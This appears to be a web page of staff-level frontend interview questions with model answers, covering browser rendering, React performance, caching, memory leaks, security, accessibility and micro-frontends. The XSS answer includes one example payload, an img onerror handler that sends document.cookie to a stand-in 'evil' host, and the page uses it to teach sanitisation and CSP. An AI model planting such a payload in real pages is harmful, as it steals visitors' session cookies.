โ† Back to Deep Dives

Senior Frontend Interview

Staff-level questions โ€” reveal the model answer when you're ready

14 questions Scenario + follow-ups Answers hidden by default
Read each question, attempt it out loud, then expand the answer to check yourself. Each model answer links back into the relevant deep-dive guide. Tip: before answering any scenario, scope the problem first โ€” "let me confirm what's actually happening" โ€” instead of reaching straight for a familiar fix.

Questions

  1. Scroll jank & will-change โ€” the rendering pipeline
  2. Laggy filter over 10,000 rows โ€” virtualization vs concurrent
  3. Reconciliation, keys & the a11y cost of windowing
  4. Safe deploys: index.html caching + chunk mismatch
  5. 2GB memory leak โ€” sources + DevTools heap workflow
  6. XSS via dangerouslySetInnerHTML + CSP
  7. Design a real-time collaborative editor (CRDT/OT)
  8. Failing field LCP/CLS vs green lab scores
  9. Redux-for-everything โ€” server vs client state
  10. Custom dropdown accessibility (ARIA combobox)
  11. Event loop output ordering + microtask starvation
  12. Stale closure in useInterval
  13. Micro-frontends: integration approaches & Module Federation
  14. Micro-frontends: when not to, and cross-MFE communication
Q1Browser rendering
A teammate says "we get scroll jank โ€” just throw will-change: transform on it and call it done." Walk through what causes scroll jank in the rendering pipeline, why will-change: transform helps, why it's a dangerous blanket fix, and what you'd investigate first.
Show model answer

The three stages (the fix differs per stage)

  • Layout (reflow) โ€” width/height/top/left/margin recompute geometry. Most expensive.
  • Paint โ€” background-color/box-shadow/color skip layout but repaint pixels.
  • Composite โ€” transform/opacity skip both, run on the GPU compositor layer. Cheapest.

The trap

will-change forces a permanent new compositor layer. On everything โ†’ layer explosion (GPU memory cost), compositing itself becomes the bottleneck. Scalpel: add right before an animation, remove after.

Scroll-specific + first move

Usual real causes: non-passive scroll listeners blocking the main thread, or forced synchronous layout / layout thrashing (read offsetHeight then write in a loop). Don't guess โ€” record in the Performance panel first.

โ†’ How Browsers Work
Q2React rendering perf
Typing in a search box that filters 10,000 in-memory rows drops frames (no API โ€” pure client-side filter). What is React doing each keystroke? Give two structurally different fixes โ€” one that reduces the work, one that changes when/how the work happens.
Show model answer

Why it lags

Each keystroke re-renders the list: React reconciles and commits thousands of fibers synchronously on the main thread (non-interruptible pre-18). One keystroke = one long blocking task = dropped frames.

Two fixes

  • Reduce the work โ€” virtualization (windowing): render only the ~20 visible rows (react-window). Attacks the root cause. Cost: variable heights, Ctrl+F/Tab break.
  • Change when/how โ€” useTransition/useDeferredValue: keep the input urgent, mark the list render a low-priority transition; React renders interruptibly and discards stale work. Cost: perceived fix only โ€” doesn't reduce the work.
  • Best: combine both. Debounce is a third, blunter tool (adds latency).
โ†’ React Internals
Q3React reconciliation + a11y
Why do keys matter in the diff, and what does virtualizing a list break for accessibility โ€” is there a way out?
Show model answer

Keys

React diffs children by position by default; a stable key matches a fiber to the same logical row across renders โ€” turns "everything changed" into "these moved."

The a11y tradeoff

Windowing removes off-screen rows from the DOM, so Ctrl+F and Tab can't see them โ€” a genuine tradeoff, not a patchable bug. (visibility:hidden/display:none text is also excluded from find-on-page.)

The middle ground

content-visibility: auto + contain-intrinsic-size keeps rows in the DOM (Tab/Ctrl+F work) but skips off-screen render cost. Or roving tabindex + programmatic scroll-into-view.

โ†’ React Internals
Q4Caching & deploys
After a deploy, users still run yesterday's code and chunks load mismatched/broken. What Cache-Control setup for index.html vs hashed assets? Why does the chunk mismatch persist even after fixing headers, and how do you handle a user with the app open during a deploy?
Show model answer

Two-tier cache policy

  • Hashed assets: Cache-Control: public, max-age=31536000, immutable (filename changes on content change).
  • index.html: no-cache = cache but always revalidate via ETag, so it always points to the newest chunks.

The deeper problem

Lazy import() references are baked into the running tab. A deploy removes the old hashed chunks โ†’ navigating to a lazy route fetches a missing file โ†’ 404 โ†’ ChunkLoadError.

Strategies

  • Keep the last N builds' chunks for a grace window (highest leverage).
  • Catch ChunkLoadError โ†’ location.reload() (one-time retry flag).
  • Poll version.json โ†’ "new version, refresh" toast.
  • Service worker โ†’ prompt to reload on new activation.
โ†’ Caching Guide
Q5Memory management
A long-lived dashboard SPA climbs to 2GB over an hour and crashes. Three or four likely leak sources in a React SPA (be concrete about what holds the reference), and your DevTools click-by-click to confirm and locate it.
Show model answer

Root cause (React)

Most leaks collapse to a missing useEffect cleanup โ€” the returned function tears down listeners/timers/subscriptions on unmount. Stray addEventListener, setInterval, leaky closures are all the same bug. Dashboard-specific: an ever-growing global store array; observers (Resize/Mutation/Intersection) left connected.

DevTools procedure

  • Baseline heap snapshot โ†’ do + undo the action 5โ€“10ร— โ†’ second snapshot.
  • Switch to Comparison view; watch a class whose # Delta never returns to 0.
  • Filter Detached โ†’ detached DOM nodes are the smoking gun. Click one โ†’ read the Retainers panel for the retaining path to the culprit.
  • Also: Performance Monitor (live heap graph); Allocation-on-timeline (bars that persist = leak).
โ†’ Memory Management
Q6Web security
A comment system renders user HTML with dangerouslySetInnerHTML; the author says "it's fine, I escape quotes on the backend." Vulnerability class + a concrete attack, why backend escaping doesn't save it, the correct way to allow bold/links safely, and one defense-in-depth header.
Show model answer

The vulnerability

Stored XSS. A raw <script> via innerHTML won't run, but <img src=x onerror="fetch('//evil/?c='+document.cookie)"> will โ€” fires for every viewer.

Why backend escaping fails

dangerouslySetInnerHTML opts out of React's auto-escaping โ€” React only escapes normal {jsx}. Escaping quotes โ‰  HTML sanitization (no quotes needed for <img onerror>).

The fix

The feature needs bold/links, so plain escaping breaks it. Sanitize with DOMPurify (tag/attr allowlist) or accept Markdown and render it. Allowlist > blocklist.

Defense-in-depth

CSP. Blocking inline script is its primary XSS defense. script-src 'self' blocks third-party; use nonces/hashes for your own inline. 'unsafe-inline' throws it away.

โ†’ Web Security
Q7System design
Design the frontend architecture for a real-time collaborative document editor (Google Docs / Notion). Address: conflict resolution when two users edit the same paragraph; client state & rendering performance; transport + what happens when a user goes offline mid-edit and reconnects.
Show model answer

Sync / conflict

OT (Operational Transformation โ€” Google Docs; transform ops, needs a central server, hard) vs CRDT (Yjs/Automerge โ€” unique IDs per edit, auto-converge, offline-first, P2P; cost = metadata/tombstones). Default to a CRDT.

State & rendering

The CRDT (Y.Doc) is the source of truth, bound to an editor (ProseMirror/TipTap/Slate). Never re-render the whole doc โ€” granular updates, memoization, virtualize the visible page, render remote cursors in a separate overlay layer.

Network & offline

WebSocket (y-websocket); WebRTC for P2P. Edit a local CRDT persisted to IndexedDB; on reconnect, client & server exchange missed edits โ†’ the CRDT auto-merges (no overwrite dialog). A service worker caches the app shell. Presence/cursors are ephemeral, separate from the persisted doc.

โ†’ Frontend Architecture
Q8Core Web Vitals
Lab Lighthouse is green but field/CrUX shows LCP 4.2s and CLS 0.28 (both red). PM says "it's fast on my machine." Why the lab-vs-field gap? Top causes + fixes for the CLS, and your investigation + levers for the LCP.
Show model answer

Lab vs field

Real users have a slower CPU (mid-range phones 4โ€“6ร— slower โ€” kills JS/hydration) and real Network (4G latency/loss). Lighthouse simulates; CrUX measures real devices.

CLS โ€” causes & fixes

  • Images without dimensions โ†’ aspect-ratio or width+height.
  • Web fonts swapping โ†’ preload, font-display, size-adjust.
  • Injected ads/cookie bars โ†’ reserve space with a min-height placeholder.

LCP โ€” the hero-image levers

  • Don't lazy-load it; add fetchpriority="high" and <link rel="preload">.
  • AVIF/WebP + responsive srcset via <picture>.
  • CDN; cut render-blocking CSS/JS; improve TTFB.
โ†’ Core Web Vitals
Q9State management
A team uses Redux for everything (server data, forms, UI toggles, modals, theme); boilerplate hell, 3 files per API call. Diagnose the core mistake, redesign with the right tool per state type, and answer "why not just use Context for all of it?"
Show model answer

Core mistake

Conflating server state (a cached copy of data the server owns โ€” stale, needs refetch/dedup/loading/error) with client state (UI owns it). Redux is for client state; forcing server data in = the 3-file boilerplate + hand-rolled caching.

Right tool per state

  • Server data โ†’ React Query / RTK Query / SWR (useQuery one-liner; caching, dedup, background refetch built in).
  • Global client (auth, cart) โ†’ Redux Toolkit / Zustand / Jotai.
  • Rarely-changing global (theme, i18n) โ†’ Context.
  • Local UI (modal, form, tab) โ†’ useState / useReducer.

Why not Context for everything

Context re-renders every consumer when its value changes (no selector granularity) โ€” fine for rarely-changing values, ruinous for frequently-changing ones. (And note: Redux does not re-render the whole app โ€” useSelector re-renders only components selecting the changed slice.)

โ†’ Frontend Architecture
Q10Accessibility
A custom dropdown/autocomplete built from <div>s (for custom styling) fails an a11y audit. What did you lose vs native <select>, concretely what to add for keyboard + screen-reader users, and the senior lesson on build-vs-style.
Show model answer

What you lost

Keyboard support, focus management, screen-reader announcements, the mobile native picker. People rebuild because native <option> is ~impossible to style cross-browser โ€” the only good reason, and then you owe the full pattern.

Keyboard (wire by hand)

Arrow Up/Down (move), Enter (select), Esc (close), Home/End (first/last), type-ahead (letter jumps), Tab (focus out).

ARIA (follow the WAI-ARIA APG combobox pattern)

  • role="combobox" (trigger), role="listbox" (list), role="option" (items).
  • aria-expanded (open/closed), aria-selected (chosen).
  • aria-activedescendant โ€” highlighted option without moving DOM focus.

Senior lesson

Prefer native + CSS; go custom only when the design truly requires it, and budget for the ARIA pattern. Exact attribute names are lookup-able โ€” knowing the pattern exists and the tradeoff is the real signal.

โ†’ Web Accessibility
Q11JS event loop
Predict the exact output order and explain via call stack โ†’ microtask โ†’ macrotask. Then: why does the microtask queue drain fully before the next macrotask, and what bug can recursive microtasks cause?
console.log('1');
setTimeout(() => console.log('2'), 0);
Promise.resolve().then(() => {
  console.log('3');
  setTimeout(() => console.log('4'), 0);
});
(async () => {
  console.log('5');
  await Promise.resolve();
  console.log('6');
})();
setTimeout(() => console.log('7'), 0);
console.log('8');
Show model answer

Order: 1, 5, 8, 3, 6, 2, 7, 4

Sync pass logs 1, 5 (an async function runs synchronously until the first await), 8. Then the microtask queue drains completely: 3, 6. Then macrotasks in queue order: 2, 7, then 4 (scheduled inside a microtask).

The rule

After the initial script and after every macrotask, the engine drains all microtasks to zero before the next macrotask โ€” and render/paint happens at that checkpoint. It's a full drain, not a one-at-a-time tiebreak.

Starvation

Recursively scheduling microtasks means the queue never empties โ†’ macrotasks, input events, and rendering never run โ†’ the tab hangs. For chunked heavy work, yield via macrotasks (setTimeout 0) / requestIdleCallback / scheduler.postTask.

โ†’ JavaScript Fundamentals
Q12React hooks
This interval logs count is: 0 forever and the count never climbs past 1.
useEffect(() => {
  const id = setInterval(() => {
    setCount(count + 1);
  }, 1000);
  return () => clearInterval(id);
}, []);
Why? Give two correct fixes and explain why the dependency-array fix is subtly worse.
Show model answer

Why

The empty-dep effect captures count from the first render (a stale closure); the interval forever sees 0 โ†’ sets 1.

Two fixes

  • Functional updater setCount(c => c + 1) โ€” clean; doesn't depend on the stale closure.
  • [count] dependency โ€” works, but subtly worse: it tears down and recreates the interval every second (timer drift, wasted work).
โ†’ React Complete Guide
Q13Micro-frontends ยท architecture
A 200-engineer org wants to break a monolithic React SPA into independently deployable micro-frontends owned by different teams. Walk through the main integration approaches, why Module Federation is the modern default, and the 2โ€“3 hardest problems you'd plan for (shared dependencies, routing, styling isolation).
Show model answer

Integration approaches (the spectrum)

  • Build-time (publish each as an npm package): simplest, but every change forces the shell to rebuild/redeploy โ€” defeats independent deployment.
  • Server/edge-side composition (SSI / ESI, a layout service stitches fragments): good for SSR/SEO, more infra.
  • Run-time via iframes: bulletproof isolation, but poor UX (routing, sizing, shared auth, accessibility all fight you).
  • Run-time via JavaScript โ€” Module Federation / import maps / single-spa: the modern default. The shell loads remotes at runtime, so each team deploys independently.

Why Module Federation

Each MFE exposes modules and consumes others' at runtime; the host pulls remotes dynamically (no rebuild to get a teammate's new version). It also negotiates shared dependencies so React isn't shipped five times.

The hard problems to plan for

  • Shared deps & version skew: React/ReactDOM must be a singleton โ€” two copies break hooks/context. Use shared: { react: { singleton: true, requiredVersion } } and a versioning policy.
  • Routing: the shell owns top-level routing; each MFE owns its sub-routes. Define the contract up front or you get deep-link and back-button bugs.
  • Style isolation: global CSS leaks across teams. Use CSS Modules, scoped/namespaced classes, or Shadow DOM, and a shared design-system package for consistency.
  • Performance: watch duplicate vendor code and multiple framework instances โ€” the usual MFE tax.
โ†’ Frontend Architecture (Micro-Frontends & Module Federation)
Q14Micro-frontends ยท trade-offs
A single team of 8 wants to adopt micro-frontends "because Netflix and Spotify do it." Make the case for when it's the wrong choice and the real costs โ€” then, if adopted, how should two MFEs communicate without tight coupling?
Show model answer

When it's the wrong choice

Micro-frontends solve an organizational problem (independent teams shipping independently โ€” Conway's law), not a technical one. For a single team of 8, the overhead buys nothing: you'd add build/runtime complexity to solve a coordination problem you don't have. Prefer a modular monolith (feature folders, clear module boundaries) first.

The real costs

  • Performance: duplicate dependencies, multiple framework instances, larger payloads.
  • Operational: versioning & integration testing across independently deployed pieces; "works in isolation, breaks when composed."
  • Consistency: UX/design drift without a strongly enforced design system; harder cross-app debugging and observability.

Communication without coupling (if you do adopt it)

  • Custom DOM events / a lightweight pub-sub event bus โ€” publisher and subscriber don't import each other.
  • Props/callbacks passed down when the shell renders an MFE.
  • URL / route as shared, observable state.
  • Avoid a single shared mutable store (one global Redux) across MFEs โ€” it re-creates the monolith's coupling and version-locks teams. Share contracts/types via a versioned package instead.
โ†’ Frontend Architecture (Micro-Frontend Architecture)